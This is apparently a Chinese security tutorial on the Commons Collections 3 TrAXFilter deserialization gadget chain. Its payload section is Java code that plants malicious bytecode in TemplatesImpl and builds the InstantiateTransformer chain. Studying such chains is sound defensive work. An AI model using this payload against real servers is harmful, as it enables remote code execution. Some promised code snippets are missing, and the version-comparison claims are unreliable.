Java反序列化漏洞分析:Commons Collections3中的TrAXFilter利用链
背景说明
在Apache Commons Collections 3组件中,TrAXFilter类扮演着重要的角色。它是触发XSLT转换功能的关键类,其构造方法内部会直接调用newTransformer()方法,这使得它成为反序列化利用链中的一个理想触发点。TrAXFilter类分析
TrAXFilter的构造方法实现如下:当通过反序列化方式创建TrAXFilter实例时,构造方法会被自动执行,随即触发newTransformer()调用。这一特性使得攻击者无需使用InvokerTransformer进行复杂的反射操作,仅需实例化该类即可完成利用。
InstantiateTransformer转换器
InstantiateTransformer类实现了Transformer接口,其transform()方法负责调用指定类的构造方法。关键代码逻辑如下:该转换器接收一个Class类型的输入,并返回一个通过反射创建的对象实例。在反序列化漏洞利用中,可以利用这一特性来实例化包含恶意代码的类。
完整利用Payload
首先构建恶意的TemplatesImpl对象:// 获取默认的类池
ClassPool pool = ClassPool.getDefault();
// 加载包含恶意代码的类
CtClass evilClass = pool.getCtClass("com.payload.EvilClass");
byte[] bytecode = evilClass.toBytecode();
// 通过反射创建TemplatesImpl实例
Class<?> templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> ctor = templatesClass.getDeclaredConstructor();
Object templatesImpl = ctor.newInstance();
// 设置私有属性_bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templatesImpl, new byte[][] {bytecode});
// 设置私有属性_name
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "EvilClass");
// 设置_tfactory属性
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl, new TransformerFactoryImpl());
接下来构建Transform链:
// 创建Transformer链式数组
Transformer[] transformChain = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl }
)
};
// 使用ChainedTransformer组合多个转换器
Transformer combinedTransformer = new ChainedTransformer(transformChain);
combinedTransformer.transform(combinedTransformer);
利用条件
- 目标服务器使用存在反序列化漏洞的Commons Collections 3.x版本
- 可控制反序列化的输入数据
- 无需额外限制条件
技术要点总结
- TrAXFilter的构造方法会自动调用newTransformer()
- 利用InstantiateTransformer可以触发任意类的构造方法
- 结合ChainedTransformer构建完整的调用链
- TemplatesImpl的_bytecodes属性可存储恶意类的字节码
补充知识
Apache Commons Collections
Apache Commons Collections是Apache软件基金会提供的Java集合框架扩展库。它提供了众多高效的集合数据结构、算法实现和工具类,能够显著提升Java开发效率。该库支持泛型和迭代器,提供了线程安全的容器实现,并且包含丰富的算法如排序、过滤、映射等功能。Java序列化机制
Java序列化是将对象转换为字节流的过程,便于网络传输或持久化存储。反序列化则是将字节流恢复为Java对象的过程。这一机制通过ObjectOutputStream和ObjectInputStream实现。需要序列化的类必须实现Serializable接口。序列化示例代码
import java.io.*;
public class SerializeDemo {
public static void main(String[] args) {
User user = new User("admin", 30);
// 序列化操作
try (FileOutputStream fos = new FileOutputStream("user.dat");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(user);
System.out.println("序列化完成");
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化操作
try (FileInputStream fis = new FileInputStream("user.dat");
ObjectInputStream ois = new ObjectInputStream(fis)) {
User restored = (User) ois.readObject();
System.out.println("用户名: " + restored.getName());
System.out.println("年龄: " + restored.getAge());
} catch (Exception e) {
e.printStackTrace();
}
}
}
class User implements Serializable {
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() { return name; }
public int getAge() { return age; }
}
Commons Collections版本对比
Commons Collections 3与4的主要区别:- 架构改进:4版本采用全新架构设计,性能和可用性显著提升
- 新功能:4版本增加了BloomFilter、MultiValuedMap等新特性
- Java版本支持:4版本要求Java 8及以上,3版本支持Java 7
- 依赖简化:4版本移除了对BeanUtils等库的依赖,更加轻量
代码审计学习建议
- 深入理解Java语言基础和JVM运行机制
- 掌握Web应用常见安全漏洞(SQL注入、XSS、CSRF等)
- 熟练使用代码审计工具(静态分析、动态调试、漏洞扫描)
- 研究经典漏洞案例,理解漏洞成因和利用方式
- 通过阅读开源项目源码提升审计能力
- 持续关注安全社区的最新研究成果